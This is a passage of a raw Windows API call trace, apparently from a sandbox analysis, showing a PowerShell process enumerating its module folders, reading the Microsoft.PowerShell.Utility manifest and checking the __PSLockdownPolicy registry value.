lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0085.016] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0085.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.016] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbd4ae, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.016] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0085.016] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0085.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.016] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205dc90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0085.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.017] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205e730, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0085.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.017] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205efde, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0085.017] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0085.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0085.018] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205f3c7, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0085.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0085.019] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0085.019] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c68c8 [0085.020] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.020] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0085.020] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0085.020] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0085.020] FindClose (in: hFindFile=0x75c68c8 | out: hFindFile=0x75c68c8) returned 1 [0085.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0085.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0085.021] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0085.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0085.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0085.022] CoCreateGuid (in: pguid=0x843ecd4 | out: pguid=0x843ecd4*(Data1=0xdcc403c2, Data2=0x9dfd, Data3=0x4e93, Data4=([0]=0xb4, [1]=0x6d, [2]=0xf3, [3]=0x6e, [4]=0x99, [5]=0xae, [6]=0x1d, [7]=0x51))) returned 0x0 [0085.024] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x850 [0085.026] AmsiCloseSession () returned 0x315cd38 [0085.027] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x87c [0085.027] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0085.072] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e99c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e99c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0085.072] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e908*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e908*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xfd, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0085.072] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e98c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e98c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0085.099] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0085.100] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.100] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e754) returned 1 [0085.100] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e7d0 | out: lpFileInformation=0x843e7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0085.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e750) returned 1 [0085.100] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0085.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.139] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0085.139] GetSystemDirectoryW (in: lpBuffer=0x3296788, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0085.139] CoTaskMemFree (pv=0x3296788) [0085.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0085.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0085.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b8) returned 1 [0085.139] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e434 | out: lpFileInformation=0x843e434*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0085.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e3b4) returned 1 [0085.139] GetSystemInfo (in: lpSystemInfo=0x843e468 | out: lpSystemInfo=0x843e468*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0085.139] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e3f8 | out: phkResult=0x843e3f8*=0x880) returned 0x0 [0085.140] RegQueryValueExW (in: hKey=0x880, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e414, lpData=0x0, lpcbData=0x843e410*=0x0 | out: lpType=0x843e414*=0x0, lpData=0x0, lpcbData=0x843e410*=0x0) returned 0x2 [0085.140] RegCloseKey (hKey=0x880) returned 0x0 [0085.146] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.146] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e370) returned 1 [0085.147] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x880 [0085.147] GetFileType (hFile=0x880) returned 0x1 [0085.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e36c) returned 1 [0085.147] GetFileType (hFile=0x880) returned 0x1 [0085.147] SetFilePointer (in: hFile=0x880, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e3ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e3ac*=0) returned 0x0 [0085.147] ReadFile (in: hFile=0x880, lpBuffer=0x52e68d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e3d8, lpOverlapped=0x0 | out: lpBuffer=0x52e68d4*, lpNumberOfBytesRead=0x843e3d8*=0x983, lpOverlapped=0x0) returned 1 [0085.148] SetFilePointer (in: hFile=0x880, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e3ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e3ac*=0) returned 0x983 [0085.148] ReadFile (in: hFile=0x880, lpBuffer=0x52e5df7, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x843e3d8, lpOverlapped=0x0 | out: lpBuffer=0x52e5df7*, lpNumberOfBytesRead=0x843e3d8*=0x0, lpOverlapped=0x0) returned 1 [0085.148] SetFilePointer (in: hFile=0x880, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e3ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e3ac*=0) returned 0x983 [0085.149] ReadFile (in: hFile=0x880, lpBuffer=0x52e68d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e3d8, lpOverlapped=0x0 | out: lpBuffer=0x52e68d4*, lpNumberOfBytesRead=0x843e3d8*=0x0, lpOverlapped=0x0) returned 1 [0085.149] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0085.149] GetSystemDirectoryW (in: lpBuffer=0x3296788, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0085.149] CoTaskMemFree (pv=0x3296788) [0085.149] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0085.149] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0085.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e30c) returned 1 [0085.149] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e388 | out: lpFileInformation=0x843e388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0085.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e308) returned 1 [0085.149] GetSystemInfo (in: lpSystemInfo=0x843e3bc | out: lpSystemInfo=0x843e3bc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0085.149] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e34c | out: phkResult=0x843e34c*=0x884) returned 0x0 [0085.150] RegQueryValueExW (in: hKey=0x884, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e368, lpData=0x0, lpcbData=0x843e364*=0x0 | out: lpType=0x843e368*=0x0, lpData=0x0, lpcbData=0x843e364*=0x0) returned 0x2 [0085.150] RegCloseKey (hKey=0x884) returned 0x0 [0085.150] CloseHandle (hObject=0x880) returned 1 [0085.165] CoCreateGuid (in: pguid=0x843e43c | out: pguid=0x843e43c*(Data1=0x8af63b71, Data2=0xed12, Data3=0x4b82, Data4=([0]=0x87, [1]=0x13, [2]=0x2e, [3]=0x9b, [4]=0x49, [5]=0x36, [6]=0xf1, [7]=0x66))) returned 0x0 [0085.168] QueryPerformanceCounter (in: lpPerformanceCount=0x843e19c | out: lpPerformanceCount=0x843e19c*=17729925338) returned 1 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e0d0) returned 1 [0085.168] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e14c | out: lpFileInformation=0x843e14c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0085.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e0cc) returned 1 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0085.168] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0085.168] GetFullPathNameW (in: 